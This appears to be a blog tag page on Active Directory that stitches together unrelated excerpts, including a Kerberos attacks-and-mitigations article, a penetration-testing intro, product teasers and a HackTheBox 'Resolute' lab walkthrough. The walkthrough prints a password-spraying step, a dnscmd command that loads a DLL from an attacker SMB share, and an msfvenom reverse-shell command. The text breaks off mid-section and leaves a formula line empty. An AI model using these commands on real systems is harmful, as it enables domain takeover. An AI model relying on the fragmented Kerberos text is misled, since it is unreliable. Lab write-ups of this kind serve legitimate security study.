#active directory

The cloud may feel abstract, but behind it are real machines storing real physical data.

When you delete a file, cloud providers don’t simply press a magical erase button.

Instead, they use a combination of:

>> software, >> encryption, >> storage management, >> and sometimes even physical destruction

to ensure your data is eventually gone for good.

Linux: We have plenty of open source options for you to choose from!

Introduction

In the world of cybersecurity, authentication is the linchpin upon which secure communications and data access rely. Kerberos, a network authentication protocol developed by MIT, has played a pivotal role in securing networks, particularly in Microsoft Windows environments. In this in-depth exploration of Kerberos, we'll delve into its technical intricacies, vulnerabilities, and the countermeasures that can help organizations safeguard their systems.

Understanding Kerberos: The Fundamentals

At its core, Kerberos is designed to provide secure authentication for users and services over a non-secure network, such as the internet. It operates on the principle of "need-to-know," ensuring that only authenticated users can access specific resources. To grasp its inner workings, let's break down Kerberos into its key components:

1. Authentication Server (AS)

The AS is the initial point of contact for authentication. When a user requests access to a service, the AS verifies their identity and issues a Ticket Granting Ticket (TGT) if authentication is successful.

2. Ticket Granting Server (TGS)

Once a user has a TGT, they can request access to various services without re-entering their credentials. The TGS validates the TGT and issues a service ticket for the requested resource.

3. Realm

A realm in Kerberos represents a security domain. It defines a specific set of users, services, and authentication servers that share a common Kerberos database.

4. Service Principal

A service principal represents a network service (e.g., a file server or email server) within the realm. Each service principal has a unique encryption key.

Vulnerabilities in Kerberos

While Kerberos is a robust authentication protocol, it is not immune to vulnerabilities and attacks. Understanding these vulnerabilities is crucial for securing a network environment that relies on Kerberos for authentication.

1. AS-REP Roasting

AS-REP Roasting is a common attack that exploits weak user account settings. When a user's pre-authentication is disabled, an attacker can request a TGT for that user without presenting a password. They can then brute-force the TGT offline to obtain the user's plaintext password.

2. Pass-the-Ticket Attacks

In a Pass-the-Ticket attack, an attacker steals a TGT or service ticket and uses it to impersonate a legitimate user or service. This attack can lead to unauthorized access and privilege escalation.

3. Golden Ticket Attacks

A Golden Ticket attack allows an attacker to forge TGTs, granting them unrestricted access to the domain. To execute this attack, the attacker needs to compromise the Key Distribution Center (KDC) long-term secret key.

4. Silver Ticket Attacks

Silver Ticket attacks target specific services or resources. Attackers create forged service tickets to access a particular resource without having the user's password.

Technical Aspects and Formulas

To gain a deeper understanding of Kerberos and its related attacks, let's delve into some of the technical aspects and cryptographic formulas that underpin the protocol:

1. Kerberos Authentication Flow

The Kerberos authentication process involves several steps, including ticket requests, encryption, and decryption. It relies on various cryptographic algorithms, such as DES, AES, and HMAC.

2. Ticket Granting Ticket (TGT) Structure

A TGT typically consists of a user's identity, the requested service, a timestamp, and other information encrypted with the TGS's secret key. The TGT structure can be expressed as:

3. Encryption Keys

Kerberos relies on encryption keys generated during the authentication process. The user's password is typically used to derive these keys. The process involves key generation and hashing formulas.

Mitigating Kerberos Vulnerabilities

To protect against Kerberos-related vulnerabilities and attacks, organizations can implement several strategies and countermeasures:

1. Enforce Strong Password Policies

Strong password policies can mitigate attacks like AS-REP Roasting. Ensure that users create complex, difficult-to-guess passwords and consider enabling pre-authentication.

2. Implement Multi-Factor Authentication (MFA)

MFA adds an extra layer of security by requiring users to provide multiple forms of authentication. This can thwart various Kerberos attacks.

3. Regularly Rotate Encryption Keys

Frequent rotation of encryption keys can limit an attacker's ability to use stolen tickets. Implement a key rotation policy and ensure it aligns with best practices.

4. Monitor and Audit Kerberos Traffic

Continuous monitoring and auditing of Kerberos traffic can help detect and respond to suspicious activities. Utilize security information and event management (SIEM) tools for this purpose.

5. Segment and Isolate Critical Systems

Isolating sensitive systems from less-trusted parts of the network can reduce the risk of lateral movement by attackers who compromise one system.

6. Patch and Update

Regularly update and patch your Kerberos implementation to mitigate known vulnerabilities and stay ahead of emerging threats.

4. Kerberos Encryption Algorithms

Kerberos employs various encryption algorithms to protect data during authentication and ticket issuance. Common cryptographic algorithms include:

DES (Data Encryption Standard): Historically used, but now considered weak due to its susceptibility to brute-force attacks.

3DES (Triple DES): An improvement over DES, it applies the DES encryption algorithm three times to enhance security.

AES (Advanced Encryption Standard): A strong symmetric encryption algorithm, widely used in modern Kerberos implementations for better security.

HMAC (Hash-based Message Authentication Code): Used for message integrity, HMAC ensures that messages have not been tampered with during transmission.

5. Key Distribution Center (KDC)

The KDC is the heart of the Kerberos authentication system. It consists of two components: the Authentication Server (AS) and the Ticket Granting Server (TGS). The AS handles initial authentication requests and issues TGTs, while the TGS validates these TGTs and issues service tickets. This separation of functions enhances security by minimizing exposure to attack vectors.

6. Salting and Nonces

To thwart replay attacks, Kerberos employs salting and nonces (random numbers). Salting involves appending a random value to a user's password before hashing, making it more resistant to dictionary attacks. Nonces are unique values generated for each authentication request to prevent replay attacks.

Now, let's delve into further Kerberos vulnerabilities and their technical aspects:

7. Ticket-Granting Ticket (TGT) Expiry Time

By default, TGTs have a relatively long expiry time, which can be exploited by attackers if they can intercept and reuse them. Administrators should consider reducing TGT lifetimes to mitigate this risk.

8. Ticket Granting Ticket Renewal

Kerberos allows TGT renewal without re-entering the password. While convenient, this feature can be abused by attackers if they manage to capture a TGT. Limiting the number of renewals or implementing MFA for renewals can help mitigate this risk.

9. Service Principal Name (SPN) Abuse

Attackers may exploit misconfigured SPNs to impersonate legitimate services. Regularly review and audit SPNs to ensure they are correctly associated with the intended services.

10. Kerberoasting

Kerberoasting is an attack where attackers target service accounts to obtain service tickets and attempt offline brute-force attacks to recover plaintext passwords. Robust password policies and regular rotation of service account passwords can help mitigate this risk.

11. Silver Ticket and Golden Ticket Attacks

To defend against Silver and Golden Ticket attacks, it's essential to implement strong password policies, limit privileges of service accounts, and monitor for suspicious behavior, such as unusual access patterns.

12. Kerberos Constrained Delegation

Kerberos Constrained Delegation allows a service to impersonate a user to access other services. Misconfigurations can lead to security vulnerabilities, so careful planning and configuration are essential.

Mitigation strategies to counter these vulnerabilities include:

13. Shorter Ticket Lifetimes

Reducing the lifespan of TGTs and service tickets limits the window of opportunity for attackers to misuse captured tickets.

14. Regular Password Changes

Frequent password changes for service accounts and users can thwart offline attacks and reduce the impact of credential compromise.

15. Least Privilege Principle

Implement the principle of least privilege for service accounts, limiting their access only to the resources they need, and monitor for unusual access patterns.

16. Logging and Monitoring

Comprehensive logging and real-time monitoring of Kerberos traffic can help identify and respond to suspicious activities, including repeated failed authentication attempts.

Kerberos Delegation: A Technical Deep Dive

1. Understanding Delegation in Kerberos

Kerberos delegation allows a service to act on behalf of a user to access other services without requiring the user to reauthenticate for each service. This capability enhances the efficiency and usability of networked applications, particularly in complex environments where multiple services need to interact on behalf of a user.

2. Types of Kerberos Delegation

Kerberos delegation can be categorized into two main types:

Constrained Delegation: This type of delegation restricts the services a service can access on behalf of a user. It allows administrators to specify which services a given service can impersonate for the user.

Unconstrained Delegation: In contrast, unconstrained delegation grants the service full delegation rights, enabling it to access any service on behalf of the user without restrictions. Unconstrained delegation poses higher security risks and is generally discouraged.

3. How Delegation Works

Here's a step-by-step breakdown of how delegation occurs within the Kerberos authentication process:

Initial Authentication: The user logs in and obtains a Ticket Granting Ticket (TGT) from the Authentication Server (AS).

Request to Access a Delegated Service: The user requests access to a service that supports delegation.

Service Ticket Request: The user's client requests a service ticket from the Ticket Granting Server (TGS) to access the delegated service. The TGS issues a service ticket for the delegated service and includes the user's TGT encrypted with the service's secret key.

Service Access: The user presents the service ticket to the delegated service. The service decrypts the ticket using its secret key and obtains the user's TGT.

Secondary Authentication: The delegated service can then use the user's TGT to authenticate to other services on behalf of the user without the user's direct involvement. This secondary authentication occurs transparently to the user.

4. Delegation and Impersonation

Kerberos delegation can be seen as a form of impersonation. The delegated service effectively impersonates the user to access other services. This impersonation is secure because the delegated service needs to present both the user's TGT and the service ticket for the delegated service, proving it has the user's explicit permission.

5. Delegation in Multi-Tier Applications

Kerberos delegation is particularly useful in multi-tier applications, where multiple services are involved in processing a user's request. It allows a front-end service to securely delegate authentication to a back-end service on behalf of the user.

6. Protocol Extensions for Delegation

Kerberos extensions, such as Service-for-User (S4U) extensions, enable a service to request service tickets on behalf of a user without needing the user's TGT. These extensions are valuable for cases where the delegated service cannot obtain the user's TGT directly.

7. Benefits of Kerberos Delegation

Efficiency: Delegation eliminates the need for the user to repeatedly authenticate to access multiple services, improving the user experience.

Security: Delegation is secure because it relies on Kerberos authentication and requires proper configuration to work effectively.

Scalability: Delegation is well-suited for complex environments with multiple services and tiers, enhancing scalability.

In this comprehensive exploration of Kerberos, we've covered a wide array of topics, from the fundamentals of its authentication process to advanced concepts like delegation.

Kerberos, as a network authentication protocol, forms the backbone of secure communication within organizations. Its core principles include the use of tickets, encryption, and a trusted third-party Authentication Server (AS) to ensure secure client-service interactions.

Security is a paramount concern in Kerberos. The protocol employs encryption, timestamps, and mutual authentication to guarantee that only authorized users gain access to network resources. Understanding these security mechanisms is vital for maintaining robust network security.

Despite its robustness, Kerberos is not impervious to vulnerabilities. Attacks like AS-REP Roasting, Pass-the-Ticket, Golden Ticket, and Silver Ticket attacks can compromise security. Organizations must be aware of these vulnerabilities to take appropriate countermeasures.

Implementing best practices is essential for securing Kerberos-based authentication systems. These practices include enforcing strong password policies, regular key rotation, continuous monitoring, and employee training.

Delving into advanced Kerberos concepts, we explored delegation – both constrained and unconstrained. Delegation allows services to act on behalf of users, enhancing usability and efficiency in complex, multi-tiered applications. Understanding delegation and its security implications is crucial in such scenarios.

Advanced Kerberos concepts introduce additional security considerations. These include implementing fine-grained access controls, monitoring for unusual activities, and regularly analyzing logs to detect and respond to security incidents.

Introduction

In the world of cybersecurity, staying one step ahead of potential threats is paramount. To safeguard an organization's sensitive information and network resources, it's crucial to regularly assess vulnerabilities and weaknesses. One potent approach is Active Directory (AD) penetration testing, which is an essential part of assessing and fortifying network security. This article delves into the intricacies of Active Directory penetration testing and the often elusive realm of Kerberos authentication.

Active Directory Penetration Testing: Unearthing Vulnerabilities

Active Directory, the cornerstone of identity management in Windows environments, serves as a centralized repository for user and system information, including authentication data. For cybercriminals, compromising AD can open the doors to a treasure trove of sensitive information. To counter this threat, organizations employ penetration testing to simulate real-world attacks and identify vulnerabilities.

Goals of Active Directory Penetration Testing

Identify Weak Passwords: One of the most common vulnerabilities is weak or easily guessable passwords. Penetration testers aim to uncover users with weak passwords and prompt them to strengthen their credentials.

Discover Misconfigured Permissions: Unauthorized access to resources can result from misconfigured permissions. Penetration testing assesses whether users have permissions that they shouldn't, potentially exposing sensitive data.

Locate Unpatched Systems: Outdated systems are susceptible to known vulnerabilities. Identifying and patching these systems is a critical goal of penetration testing.

Assess Kerberos Authentication: Active Directory relies heavily on Kerberos for secure authentication. Understanding Kerberos is essential for a thorough AD penetration test.

Kerberos: The Protector of Authentication

Kerberos, a network authentication protocol, plays a pivotal role in securing Active Directory environments. Named after the mythological three-headed dog guarding the gates of Hades, Kerberos acts as a guardian for network communication. Understanding how it works is vital for both defenders and attackers.

The Key Concepts of Kerberos

Authentication Tickets: In Kerberos, authentication occurs through tickets. A Ticket Granting Ticket (TGT) is obtained during initial authentication, and this TGT is used to request access to various resources without re-entering credentials.

Principle of Need to Know: Kerberos enforces the principle of "need to know." A user can access only the resources for which they have tickets, reducing the risk of unauthorized access.

Realms and Trust: In a multi-domain environment, Kerberos realms establish trust relationships between domains. Trust enables users from one domain to access resources in another.

Encryption: Kerberos relies on encryption to protect sensitive information, such as passwords and tickets. Encryption keys are generated dynamically during authentication.

Penetration Testing Kerberos: A Delicate Balancing Act

Penetration testing for Kerberos authentication involves a delicate balancing act between assessing security measures and not disrupting normal operations. Here are some critical aspects of Kerberos-focused penetration testing:

1. AS-REP Roasting

AS-REP Roasting is a common attack that exploits weak or vulnerable user accounts. Penetration testers attempt to retrieve Authentication Service (AS) tickets without the need for valid login credentials. This technique targets accounts with pre-authentication disabled, making them vulnerable to brute-force attacks.

2. Pass-the-Ticket Attacks

Pass-the-Ticket attacks involve stealing Ticket Granting Tickets (TGTs) from compromised systems. Attackers can then use these stolen TGTs to gain unauthorized access to other network resources. Penetration testing assesses the organization's ability to detect and defend against such attacks.

3. Golden Ticket Attacks

Golden Ticket attacks involve forging TGTs, effectively granting attackers unlimited access to the domain. Penetration testers may attempt to create Golden Tickets to evaluate the AD's resilience against this advanced attack.

4. Silver Ticket Attacks

Always On VPN DPC with Intune

In the past, I’ve written about PowerON Platforms’ Always On VPN Dynamic Profile Configurator (DPC), a software solution administrators can use to provision and manage Always On VPN client configuration settings using Active Directory and group policy. In addition to streamlining the deployment and management of Always On VPN client settings, DPC has many advanced features and capabilities to…

So I finally rooted Resolute... Quite ashamed at myself though: I really don’t think I’d have taken so long on it if I knew Windows better... xD

Long story short: I completely misunderstood the output of the whoami /groups command: I thought it showed possible user groups but it instead showed the groups of the logged in user (fml one million times over...)

RIGHT THERE... IT LITERALLY TELLS YOU THAT RYAN IS A DNSADMIN... JDKWFJFIF. X’D

Anyways, with self loathing ever so present, I’ll now walkthrough Resolute.

A run through of my enum script shows the presence of default password Welcome123! (enum4linux) for user Marko. While this password doesn’t work for Marko, it does turn out to be the correct pass for user Melanie- simple password spraying attack, the same concept as it would be with a variety of services. :)

After establishing a connection through Evil-WinRM, we can see that the only other users with their own directories are ryan, Administrator and Melanie (along with the defaults like Public etc.)

Logically, our goal is going to be Ryan first. It actually took me a while to find Ryan’s password in C:\PSTranscripts... Didn’t do well with Resolute at all, perhaps because it was one of my first Windows machines? :’)

Once you have access as Ryan, simple enumeration actually reveals that you’re a DnsAdmin and that the DNS process is running... If I’d known about being DnsAdmin I don’t think this machine would have taken me long at all. -.-

Upon this discovery, you can simply perform DLL Injection on the DNS process (https://medium.com/techzap/dns-admin-privesc-in-active-directory-ad-windows-ecc7ed5a21a2 describes this process well)

*Evil-WinRM* PS C:\Users\ryan> dnscmd RESOLUTE /config /serverlevelplugindll "\\10.10.X.X\hehe\r.dll"

Registry property serverlevelplugindll successfully reset. Command completed successfully.

*Evil-WinRM* PS C:\Users\ryan> sc.exe stop dns

SERVICE_NAME: dns        TYPE               : 10  WIN32_OWN_PROCESS        STATE              : 3  STOP_PENDING                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)        WIN32_EXIT_CODE    : 0  (0x0)        SERVICE_EXIT_CODE  : 0  (0x0)        CHECKPOINT         : 0x0        WAIT_HINT          : 0x0 *Evil-WinRM* PS C:\Users\ryan> sc.exe stop dns [SC] ControlService FAILED 1062:

The service has not been started.

*Evil-WinRM* PS C:\Users\ryan> sc.exe start dns

SERVICE_NAME: dns        TYPE               : 10  WIN32_OWN_PROCESS        STATE              : 2  START_PENDING                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)        WIN32_EXIT_CODE    : 0  (0x0)        SERVICE_EXIT_CODE  : 0  (0x0)        CHECKPOINT         : 0x0        WAIT_HINT          : 0x7d0        PID                : 2224        FLAGS 

I generated the DLL with msfvenom (msfvenom -p windows/x64/shell_reverse_tcp LPORT=6969 LHOST=10.10.X.X -f dll > r.dll) and started an SMB server using Impacket’s smbserver.py.

This was eye opening tbh: I feel it was such a simple machine but I royally screwed up at a couple of points- like I mentioned, my misunderstanding of whoami /groups led me to falling down a rabbit hole for weeks, thus why I took a mini break and did a couple of other machines in the meantime.

I was back on track after execution of windows-privesc-check.exe by PentestMonkey (https://github.com/pentestmonkey/windows-privesc-check): it gave me the idea of DLL hijacking via the possibility of applications loading required DLLs from your pwd.

Exchange Server is changing fast in 2026. The move to Subscription Edition (SE) is a big step, but it also brings better security and easier updates.

If you are new to email systems, you may have heard about Microsoft Exchange. It is a tool that helps companies send, receive, and manage emails.

There are two main ways to use it:

>> Exchange Online >> Exchange On-Premises

These two may sound confusing at first, but don’t worry. In this article, we will explain everything in very simple words, so even a beginner (or a kid!) can understand.